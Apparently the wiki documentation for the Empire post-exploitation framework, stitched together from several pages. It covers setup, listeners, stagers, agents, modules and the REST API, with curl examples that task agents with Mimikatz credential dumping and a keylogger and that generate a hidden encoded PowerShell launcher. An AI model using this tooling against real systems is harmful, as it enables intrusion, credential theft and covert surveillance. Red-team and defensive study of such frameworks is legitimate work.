129 "@harmj0y"
130 ],
131 "Background": true,
132 "Comments": [
133 "https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1"
134 ],
135 "Description": "Logs keys pressed, time and the active window (when changed).",
136 "MinPSVersion": "2",
137 "Name": "collection/keylogger",
138 "NeedsAdmin": false,
139 "OpsecSafe": true,
140 "OutputExtension": null,
141 "options": {
142 "Agent": {
143 "Description": "Agent to run module on.",
144 "Required": true,
145 "Value": ""
146 }
147 }
148 }
149 ]
150 }
151 ```
152
153 ## Execute a Module
154
155 ### Handler
156
157 * **Handler** : POST /api/modules/MODULE_NAME
158 * Description : Tasks an
159 * Parameters (none required) :
160 * Agent : the agent to task the module for (or all). Required.
161 * *additional* : any additional module values enumerated from module options
162
163 ### Example
164
165 **Request**:
166 ```bash
167 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/modules/credentials/mimikatz/logonpasswords?token=$TOKEN -X POST -d '{"Agent":"WTN1LHHRYHFWHXU3"}'
168
169 ```
170
171 **Response**:
172 ```json
173 {
174 "msg": "tasked agent WTN1LHHRYHFWHXU3 to run module credentials/mimikatz/logonpasswords",
175 "success": true
176 }
177 ```
0 _TODO_
0 ## Initial Setup
1
2 Run the **./setup/install.sh** script. This will install the few dependencies and run the **./setup/setup_database.py** script. The setup_database.py file contains various setting that you can manually modify, and then initializes the ./data/empire.db backend database. No additional configuration should be needed- hopefully everything works out of the box.
3
4 Running `./empire` will start Empire, and `./empire --debug` will generate a verbose debug log at .**/empire.debug**. Running `./empire --debug 2` will provide verbose output to empire console. The included **./setup/reset.sh** will reset/reinitialize the database and launch Empire in debug mode. There's also a detailed "Empire Tips and Tricks" [post up here](http://enigma0x3.net/2015/08/26/empire-tips-and-tricks/).
5
6
7 ## Main Menu
8 Once you hit the main menu, you'll see the number of active agents, listeners, and loaded modules.
9
10 [[https://github.com/EmpireProject/Empire/wiki/Images/empire_main_menu.png|align=center]]
11
12 The **help** command should work for all menus, and almost everything that can be tab-completable is (menu commands, agent names, local file paths where relevant, etc.).
13
14 You can ctrl+C to rage quit at any point. Starting Empire back up should preserve existing communicating agents, and any existing listeners will be restarted (as their config is stored in the sqlite backend database).
15
16 ## Listeners 101
17 The first thing you need to do it set up a local listener. The **listeners** command will jump you to the listener management menu. Any active listeners will be displayed, and this information can be redisplayed at any time with the **list** command. The `uselistener` command will allow you to select the type of listener. Hitting TAB after this command will show all available listener types. The info command will display the currently set listener options.
18
19 [[https://github.com/EmpireProject/Empire/wiki/Images/empire_listeners_menu.png|align=center]]
20
21 The info command will display the currently configured listener options. Set your host/port by doing something like set Host http://192.168.52.142:8081. This is tab-completable, and you can also use domain names here). The port will automatically be pulled out, and the backend will detect if you're doing a HTTP or HTTPS listener. For HTTPS listeners, you must first set the CertPath to be a local .pem file. The provided **./setup/cert.sh** script will generate a self-signed cert and place it in **./data/empire.pem**.
22
23 Set optional and WorkingHours, KillDate, DefaultDelay, and DefaultJitter for the listener, as well as whatever name you want it to be referred to as. You can then type **execute** to start the listener. If the name is already taken, a nameX variant will be used, and Empire will alert you if the port is already in use.
24
25 ## Stagers 101
26 The staging process is described [[here|Staging]].
27
28 Empire implements various stagers in a modular format in **./lib/stagers/* **. These include dlls, macros, one-liners, and more. To use a stager, from the main, listeners, or agents menu, use usestager [tab] to tab-complete the set of available stagers, and you'll be taken to the individual stager's menu. The UI here functions similarly to the post module menu, i.e set/unset/info and generate to generate the particular output code.
29
30 For UserAgent and proxy options, default uses the system defaults, none clears that option from being used in the stager, and anything else is assumed to be a custom setting (note, this last bit isn't properly implemented for proxy settings yet). From the Listeners menu, you can run the **launcher [listener ID/name]** alias to generate the stage0 launcher for a particular listener (this is the stagers/launcher module in the background). This command can be run from a command prompt on any machine to kick off the staging process.
31
32 ## Agents 101
33 You should see a status message when an agent checks in (i.e. [+] Initial agent CGUBKC1R3YLHZM4V from 192.168.52.168 now active). Jump to the Agents menu with **agents**. Basic information on active agents should be displayed. Various commands can be executed on specific agent IDs or **all** from the agent menu, i.e. **kill all**. To interact with an agent, use **interact AGENT_NAME**. Agent names should be tab-completable for all commands.
34
35 [[https://github.com/EmpireProject/Empire/wiki/Images/empire_agent_checkin.png|align=center]]
36
37 In an Agent menu, **info** will display more detailed agent information, and help will display all agent commands. If a typed command isn't resolved, Empire will try to interpret it as a shell command (like ps). You can **cd** directories, **upload/download** files, and **rename NEW_NAME**.
38
39 For each registered agent, a **./downloads/AGENT_NAME/** folder is created (this folder is renamed with an agent rename). An ./agent.log is created here with timestamped commands/results for agent communication. Downloads/module outputs are broken out into relevant folders here as well.
40
41 When you're finished with an agent, use **exit** from the Agent menu or **kill NAME/all** from the Agents menu. You'll get a red notification when the agent exits, and the agent will be removed from the interactive list after.
42
43 ## Modules 101
44 To see available modules, type **usemodule [tab]**. To search module names/descriptions, use **searchmodule privesc** and matching module names/descriptions will be output.
45
46 To use a module, for example share finder from PowerView, type **usemodule situational_awareness/network/sharefinder** and press enter. info will display all current module options.
47
48 [[https://github.com/EmpireProject/Empire/wiki/Images/empire_module_menu.png|align=center]]
49
50 To set an option, like the domain for sharefinder, use **set Domain testlab.local**. The Agent argument is always required, and should be auto-filled from jumping to a module from an agent menu. You can also **set Agent [tab]** to tab-complete an agent name. **execute** will task the agent to execute the module, and **back** will return you to the agent's main menu. Results will be displayed as they come back.
51
52 ## Scripts
53 In addition to formalized modules, you are able to simply import and use a .ps1 script in your remote empire agent. Use the **scriptimport ./path/** command to import the script. The script will be imported and any functions accessible to the script will now be tab completable using the "scriptcmd" command in the agent. This works well for very large scripts with lots of functions that you do not want to break into a module.
0 Empire 3.1 RESTful API introduced a new set of commands for scripting and controlling Empire through HTTP JSON requests.
1
2 This API and documentation are based on the excellent example set by the [BeEF Project](https://github.com/beefproject/beef/wiki/BeEF-RESTful-API). All credit to [@antisnatchor](https://github.com/antisnatchor) and the entire BeEF community for the great examples to draw on.
3
4 * [Introduction](#introduction)
5 * [API Authentication](#api-authentication)
6 * [Version Information](#version-information)
7 * [Configuration Information](#configuration-information)
8 * [[Admin Functionality|Admin-Functionality]]
9 * [[User Management|User-Management]]
10 * [[Listeners|Listeners]]
11 * [[Stagers|Stagers]]
12 * [[Agents|Agents]]
13 * [[Modules|Modules]]
14 * [[Credentials|Credentials]]
15 * [[Reporting|Reporting]]
16
17
18 ## Introduction
19
20 There are currently two ways to launch the Empire RESTful API.
21
22 You can start a normal Empire instance with `./empire`, and then in another windows run `./empire --rest`. This starts the API without a fully-featured Empire instance, allowing you to still interact with the normal Empire UI.
23
24 Alternatively, you can run Empire 'headless' with `./empire --headless`, which will start a complete Empire instance as well as the RESTful API, and will suppress all output except for startup messages.
25
26 By default, the RESTful API is started on port 1337, over HTTPS using the certificate located at ./data/empire.pem (which can be generated with ./setup/cert.sh). This port can be changed by supplying `--restport <PORT_NUM>` on launch.
27
28 The default username for the API is 'empireadmin' and the default password is randomly generated by ./setup/setup_database.py during install. This value is retrievable by using `sqlitebrowser ./data/empire.db`, or can be modified in the setup_database.py file. You can also manually specify the username and password for a REST/headless launch with `--username admin --password 'Password123!'`.
29
30 You can review all cli options by running:
31 ```bash
32 # ./empire -h
33 usage: empire [-h] [--debug [DEBUG]] [-s [STAGER]]
34 [-o [STAGER_OPTIONS [STAGER_OPTIONS ...]]] [-l [LISTENER]] [-v]
35 [--rest] [--restport [RESTPORT]] [--headless]
36 [--username [USERNAME]] [--password [PASSWORD]]
37
38 optional arguments:
39 -h, --help show this help message and exit
40 --debug [DEBUG] Debug level for output (default of 1).
41 -s [STAGER], --stager [STAGER]
42 Specify a stager to generate. Lists all stagers if
43 none is specified.
44 -o [STAGER_OPTIONS [STAGER_OPTIONS ...]], --stager-options [STAGER_OPTIONS [STAGER_OPTIONS ...]]
45 Supply options to set for a stager in OPTION=VALUE
46 format. Lists options if nothing is specified.
47 -l [LISTENER], --listener [LISTENER]
48 Display listener options. Displays all listeners if
49 nothing is specified.
50 -v, --version Display current Empire version.
51 --rest Run the Empire RESTful API.
52 --restport [RESTPORT]
53 Port to run the Empire RESTful API on.
54 --headless Run Empire and the RESTful API headless without the
55 usual interface.
56 --username [USERNAME]
57 Start the RESTful API with the specified username
58 instead of pulling from empire.db
59 --password [PASSWORD]
60 Start the RESTful API with the specified password
61 instead of pulling from empire.db
62 ```
63
64 ## API Authentication
65
66 The Empire API uses a simple token-based auth system similar to [BeEF's](https://github.com/beefproject/beef/wiki/BeEF-RESTful-API#authentication). In order to make any requests to the API, a **?token=X** parameter must be supplied, otherwise a 403 error is returned.
67
68 The token is randomly generated on rest API start up and displayed on the command line:
69 ```bash
70 # ./empire --rest --password 'Password123!'
71
72 [*] Loading modules from: /mnt/hgfs/git/github/Empire/lib/modules/
73 * Starting Empire RESTful API on port: 1337
74 * RESTful API token: ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
75 * Running on https://0.0.0.0:1337/ (Press CTRL+C to quit)
76 ```
77
78 To retrieve the session token through the login interface, you can POST a request to `/api/admin/login`. Here's an example with curl:
79 ```bash
80 # curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/admin/login -X POST -d '{"username":"empireadmin", "password":"Password123!"}'
81 HTTP/1.0 200 OK
82 Content-Type: application/json
83 Content-Length: 57
84 Server: Werkzeug/0.11.4
85 Date: Thu, 31 Mar 2016 23:38:59 GMT
86
87 {
88 "token": "ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5"
89 }
90 ```
91
92
93 ## Version Information
94
95 ### Handler
96
97 * **Handler** : GET /api/version
98 * Description : Returns the current Empire version.
99 * No parameters
100
101 ### Example
102
103 **Request**:
104 ```bash
105 curl --insecure -i https://localhost:1337/api/version?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
106 ```
107
108 **Response**:
109 ```json
110 {
111 "version": "1.5.0"
112 }
113 ```
114 ## Map Information
115
116 ### Handler
117
118 * **Handler** : GET /api/map
119 * Description : Returns list of all API routes.
120 * No parameters
121
122 ### Example
123
124 **Request**:
125 ```bash
126 curl --insecure -i https://localhost:1337/api/map?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
127 ```
128
129 **Response**:
130
131
132 ## Configuration Information
133
134 ### Handler
135
136 * **Handler** : GET /api/config
137 * Description : Returns the current Empire configuration.
138 * No parameters
139
140 ### Example
141
142 **Request**:
143 ```bash
144 curl --insecure -i https://localhost:1337/api/config?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
145 ```
146
147 **Response**:
148 ```json
149 {
150 "config": [
151 {
152 "api_password": "C3>Jl...",
153 "api_username": "empireadmin",
154 "autorun_command": "",
155 "autorun_data": "",
156 "current_api_token": "ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5",
157 "default_cert_path": "",
158 "default_delay": 5,
159 "default_jitter": 0.0,
160 "default_lost_limit": 60,
161 "default_port": "8080",
162 "default_profile": "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
163 "install_path": "/home/user/Empire/",
164 "ip_blacklist": "",
165 "ip_whitelist": "",
166 "permanent_api_token": "gi5afo3umac6...",
167 "server_version": "Microsoft-IIS/7.5",
168 "stage0_uri": "index.asp",
169 "stage1_uri": "index.jsp",
170 "stage2_uri": "index.php",
171 "staging_key": "m@T%L?VH...",
172 "version": "1.5.0"
173 }
174 ]
175 }
176 ```
0 _TODO_
0 * [Get All Logged Events](#get-all-logged-events)
1 * [Get Agent Logged Events](#get-agent-logged-events)
2 * [Get Logged Events of Specific Type](#get-logged-events-of-specific-type)
3 * [Get Logged Events w/ Specific Msg](#get-logged-events-w-specific-msg)
4
5 ## Get All Logged Events
6
7 ### Handler
8
9 * **Handler** : GET /api/reporting
10 * Description : Returns all logged events.
11 * No parameters
12
13 ### Example
14
15 **Request**:
16 ```bash
17 curl --insecure -i https://localhost:1337/api/reporting?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
18 ```
19
20 **Response**:
21 ```json
22 {
23 "reporting": [
24 {
25 "ID": 1,
26 "agentname": "3GHZPWEGADMT2KPA",
27 "event_type": "checkin",
28 "message": "2016-03-31 17:36:34",
29 "timestamp": "2016-03-31 17:36:34"
30 },
31 ...
32 ]
33 }
34 ```
35
36 ## Get Agent Logged Events
37
38 ### Handler
39
40 * **Handler** : GET /api/reporting/agent/AGENT_NAME
41 * Description : Returns the events for a specified AGENT_NAME
42 * No parameters
43
44 ### Example
45
46 **Request**:
47 ```bash
48 curl --insecure -i https://localhost:1337/api/reporting/agent/initial?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
49 ```
50
51 **Response**:
52 ```json
53 {
54 "reporting": [
55 {
56 "ID": 28,
57 "agentname": "SMLHRBLTP4Z14SHC",
58 "event_type": "checkin",
59 "message": "2016-03-31 21:01:34",
60 "timestamp": "2016-03-31 21:01:34"
61 },
62 ...
63 ]
64 }
65 ```
66
67 ## Get Logged Events of Specific Type
68
69 ### Handler
70
71 * **Handler** : GET /api/reporting/type/MSG_TYPE
72 * Description : Returns the events of a specified MSG_TYPE (checkin, task, result).
73 * No parameters
74
75 ### Example
76
77 **Request**:
78 ```bash
79 curl --insecure -i https://localhost:1337/api/reporting/type/checkin?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
80 ```
81
82 **Response**:
83 ```json
84 {
85 "reporting": [
86 {
87 "ID": 1,
88 "agentname": "3GHZPWEGADMT2KPA",
89 "event_type": "checkin",
90 "message": "2016-03-31 17:36:34",
91 "timestamp": "2016-03-31 17:36:34"
92 },
93 {
94 "ID": 4,
95 "agentname": "PK4HAFLH4231E14X",
96 "event_type": "checkin",
97 "message": "2016-03-31 17:36:50",
98 "timestamp": "2016-03-31 17:36:50"
99 },
100 ...
101 ]
102 }
103 ```
104
105 ## Get Logged Events w/ Specific Msg
106
107 ### Handler
108
109 * **Handler** : GET /api/reporting/msg/MSG
110 * Description : Returns the events matching a specific MSG.
111 * No parameters
112
113 ### Example
114
115 **Request**:
116 ```bash
117 curl --insecure -i https://localhost:1337/api/reporting/msg/mimikatz?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
118 ```
119
120 **Response**:
121 ```json
122 {
123 "reporting": [
124 {
125 "ID": 5,
126 "agentname": "PK4HAFLH4231E14X",
127 "event_type": "task",
128 "message": "TASK_CMD_JOB - function Invoke-Mimikatz\n{\n[CmdletBinding(DefaultP",
129 "timestamp": "2016-03-31 17:36:54"
130 },
131 ...
132 ]
133 }
134 ```
0 * [Get Current Stagers](#get-current-stagers)
1 * [Get Stager by Name](#get-stager-by-name)
2 * [Generate Stager](#generate-stager)
3
4 ## Get Current Stagers
5
6 ### Handler
7
8 * **Handler** : GET /api/stagers
9 * Description : Returns all current Empire stagers and options.
10 * No parameters
11
12 ### Example
13
14 **Request**:
15 ```bash
16 curl --insecure -i https://localhost:1337/api/stagers?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
17 ```
18
19 **Response**:
20 ```json
21 {
22 "stagers": [
23 {
24 "Author": [
25 "@harmj0y"
26 ],
27 "Comments": [
28 ""
29 ],
30 "Description": "Generates a ducky script that runes a one-liner stage0 launcher for Empire.",
31 "Name": "ducky",
32 "options": {
33 "Listener": {
34 "Description": "Listener to generate stager for.",
35 "Required": true,
36 "Value": ""
37 },
38 "OutFile": {
39 "Description": "File to output duckyscript to.",
40 "Required": true,
41 "Value": ""
42 },
43 "Proxy": {
44 "Description": "Proxy to use for request (default, none, or other).",
45 "Required": false,
46 "Value": "default"
47 },
48 "ProxyCreds": {
49 "Description": "Proxy credentials ([domain\\]username:password) to use for request (default, none, or other).",
50 "Required": false,
51 "Value": "default"
52 },
53 "StagerRetries": {
54 "Description": "Times for the stager to retry connecting.",
55 "Required": false,
56 "Value": "0"
57 },
58 "UserAgent": {
59 "Description": "User-agent string to use for the staging request (default, none, or other).",
60 "Required": false,
61 "Value": "default"
62 }
63 }
64 },
65 ...
66 ]
67 }
68 ```
69
70 ## Get Stager by Name
71
72 ### Handler
73
74 * **Handler** : GET /api/stagers/STAGER_NAME
75 * Description : Returns the Empire stager specified by STAGER_NAME.
76 * No parameters
77
78 ### Example
79
80 **Request**:
81 ```bash
82 curl --insecure -i https://localhost:1337/api/stagers/dll?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5
83 ```
84
85 **Response**:
86 ```json
87 {
88 "stagers": [
89 {
90 "Author": [
91 "@sixdub"
92 ],
93 "Comments": [
94 ""
95 ],
96 "Description": "Generate a PowerPick Reflective DLL to inject with stager code.",
97 "Name": "dll",
98 "options": {
99 "Arch": {
100 "Description": "Architecture of the .dll to generate (x64 or x86).",
101 "Required": true,
102 "Value": "x64"
103 },
104 "Listener": {
105 "Description": "Listener to use.",
106 "Required": true,
107 "Value": ""
108 },
109 "OutFile": {
110 "Description": "File to output dll to.",
111 "Required": true,
112 "Value": "/tmp/launcher.dll"
113 },
114 "Proxy": {
115 "Description": "Proxy to use for request (default, none, or other).",
116 "Required": false,
117 "Value": "default"
118 },
119 "ProxyCreds": {
120 "Description": "Proxy credentials ([domain\\]username:password) to use for request (default, none, or other).",
121 "Required": false,
122 "Value": "default"
123 },
124 "StagerRetries": {
125 "Description": "Times for the stager to retry connecting.",
126 "Required": false,
127 "Value": "0"
128 },
129 "UserAgent": {
130 "Description": "User-agent string to use for the staging request (default, none, or other).",
131 "Required": false,
132 "Value": "default"
133 }
134 }
135 }
136 ]
137 }
138 ```
139
140 ## Generate Stager
141
142 ### Handler
143
144 * **Handler** : POST /api/stagers
145 * Description : Returns the Empire stager specified by parameters.
146 * Parameters :
147 * StagerName : the stager name to generate (required)
148 * Listener : the listener name to generate the stager for (required)
149 * *additional* : any additional stager values enumerated from stager options
150
151 ### Example
152
153 **Request**:
154 ```bash
155 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/stagers?token=ks23jlvdki4fj1j23w39h0h0xcuwjrqilocxd6b5 -X POST -d '{"StagerName":"launcher", "Listener":"testing"}'
156 ```
157
158 **Response**:
159 ```json
160 {
161 "launcher": {
162 "Base64": {
163 "Description": "Switch. Base64 encode the output.",
164 "Required": true,
165 "Value": "True"
166 },
167 "Listener": {
168 "Description": "Listener to generate stager for.",
169 "Required": true,
170 "Value": "testing"
171 },
172 "OutFile": {
173 "Description": "File to output launcher to, otherwise displayed on the screen.",
174 "Required": false,
175 "Value": ""
176 },
177 "Output": "powershell.exe -NoP -sta -NonI -W Hidden -Enc JAB...KQA=",
178 "Proxy": {
179 "Description": "Proxy to use for request (default, none, or other).",
180 "Required": false,
181 "Value": "default"
182 },
183 "ProxyCreds": {
184 "Description": "Proxy credentials ([domain\\]username:password) to use for request (default, none, or other).",
185 "Required": false,
186 "Value": "default"
187 },
188 "StagerRetries": {
189 "Description": "Times for the stager to retry connecting.",
190 "Required": false,
191 "Value": "0"
192 },
193 "UserAgent": {
194 "Description": "User-agent string to use for the staging request (default, none, or other).",
195 "Required": false,
196 "Value": "default"
197 }
198 }
199 }
200 ```
0 The key-exchange protocol used by Empire is called [Encrypted Key Exchange](https://en.wikipedia.org/wiki/Encrypted_key_exchange) (EKE). There’s a better overview [here](http://stackoverflow.com/questions/15779392/encrypted-key-exchange-understanding).
1
2 For Empire, a small launcher (a basic proxy-aware IEX download cradle) is used to download/execute the patched **./data/stager.ps1** script. The URI resource for this request can be specified in **./setup_database.py** under the **STAGE0_URI** paramater. The **stager.ps1** is case-randomized then XOR encrypted with the AES staging key from the database config. This means the key-negotiation stager delivered to each agent will be randomized/different per server, but will be static for each server instance. The staging key is sent with the launcher in order to decrypt the stager, so is assumed to be "burned" by network defenders.
3
4 This stager generates a randomized RSA private/public key pair in memory, uses the AES staging key to post the encrypted RSA public key to the **STAGE1_URI** resource (also specifiable in **./setup_database.py**). A random 12-character SESSIONID is also generated at this point, which is the initial name the agent uses to check in. After this post, the server returns the server’s epoch time and a randomized AES session key, encrypted in the agent’s public key.
5
6 The agent decrypts the values, gathers basic system information, and posts this information to the server encrypted with the new AES session key to **STAGE2_URI**. The server then returns the patched **./data/agent.ps1**, which can be thought of as the standard API. From here, the agent starts its beaconing behavior.
7
8 [[https://github.com/EmpireProject/Empire/wiki/Images/empire_staging_process.png|align=center]]
0 * [Display All Users](#Display-All-Users)
1 * [Current User](#Current-Users)
2 * [Create New User](#Create-New-Users)
3 * [Disable User](#Disable-User)
4
5 ## Display All Users
6
7 ### Handler
8
9 * **Handler** : GET /api/users
10 * Description : Returns all users from database
11 * No parameters
12
13 ### Example
14
15 **Request**:
16 ```bash
17 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/users?token=oa2vqer0si0rhehvwgvg3ncgec06hlb5ts58hmle
18 ```
19
20 **Response**:
21 ```json
22 {
23 "users": [
24 {
25 "ID": 1,
26 "admin": true,
27 "enabled": true,
28 "last_logon_time": "2020-03-21 18:57:36",
29 "username": "empireadmin"
30 }
31 ]
32 }
33 ```
34
35 ## Current User
36
37 ### Handler
38
39 * **Handler** : POST /api/users/me
40 * Description : Returns the current user
41 * No parameters
42
43 ### Example
44
45 **Request**:
46 ```bash
47 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/users/me?token=oa2vqer0si0rhehvwgvg3ncgec06hlb5ts58hmle -X POST
48 ```
49
50 **Response**:
51 ```json
52 {
53 "admin": true,
54 "api_token": "oa2vqer0si0rhehvwgvg3ncgec06hlb5ts58hmle",
55 "enabled": true,
56 "id": 1,
57 "last_logon_time": "2020-03-21 18:57:36",
58 "username": "empireadmin"
59 }
60 ```
61
62 ## Create New User
63
64 ### Handler
65
66 * **Handler** : POST /api/users
67 * Description : Creates a new users.
68 * No parameters
69
70 ### Example
71
72 **Request**:
73 ```bash
74 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/users?token=oa2vqer0si0rhehvwgvg3ncgec06hlb5ts58hmle -X POST -d '{"username":"user", "password":"pass"}'
75 ```
76
77 **Response**:
78 ```json
79 {
80 "admin": true,
81 "api_token": "oa2vqer0si0rhehvwgvg3ncgec06hlb5ts58hmle",
82 "enabled": true,
83 "id": 1,
84 "last_logon_time": "2020-03-21 18:57:36",
85 "username": "empireadmin"
86 }
87 ```
88
89 ## Disable User
90
91 ### Handler
92
93 * **Handler** : PUT /api/users/UID/disable
94 * Description : Disables a users account from their UID.
95 * No parameters
96
97 ### Example
98
99 **Request**:
100 ```bash
101 curl --insecure -i -H "Content-Type: application/json" https://localhost:1337/api/users/1/disable?token=oa2vqer0si0rhehvwgvg3ncgec06hlb5ts58hmle -X PUT
102 ```
103
104 **Response**:
105 ```json
106 {
107 "success": true,
108 }
109 ```
0 [PowerShellEmpire](http:/www.powershellempire.com/) | [Code](https://github.com/BC-SECURITY/Empire)
0 ## I - Overview
1 1. [[Quick Start|Quickstart]]
2 1. [[Architecture|Architecture]]
3 1. [[Staging|Staging]]
4 1. [[Installation|Installation]]
5 1. [[Configuration|Configuration]]
6
7 ## II - Modules
8 1. [[Code Execution|Code-Execution]]
9 1. [[Collection|Collection]]
10 1. [[Credentials|Getting-Credentials]]
11 1. [[Exfiltration|Exfiltration]]
12 1. [[Exploitation|Exploitation]]
13 1. [[Lateral Movement|Lateral-Movement]]
14 1. [[Management|Management]]
15 1. [[Persistence|Persistence]]
16 1. [[Privesc|Privesc]]
17 1. [[Recon|Recon]]
18 1. [[Situational Awareness|Situational-Awareness]]
19 1. [[TrollSploit|TrollSploit]]
20
21 ## III - RESTful API
22 1. [[RestFul API|RESTful-API]]
23 1. [[Admin Functionality|Admin-Functionality]]
24 1. [[Listeners|Listeners]]
25 1. [[Stagers|Stagers]]
26 1. [[Agents|Agents]]
27 1. [[Modules|Modules]]
28 1. [[Credentials|Credentials]]
29 1. [[Reporting|Reporting]]
30 1. [[User Management|User-Management]]
31
32 ## IV - Advanced
33 1. [[Module Development|Module-Development]]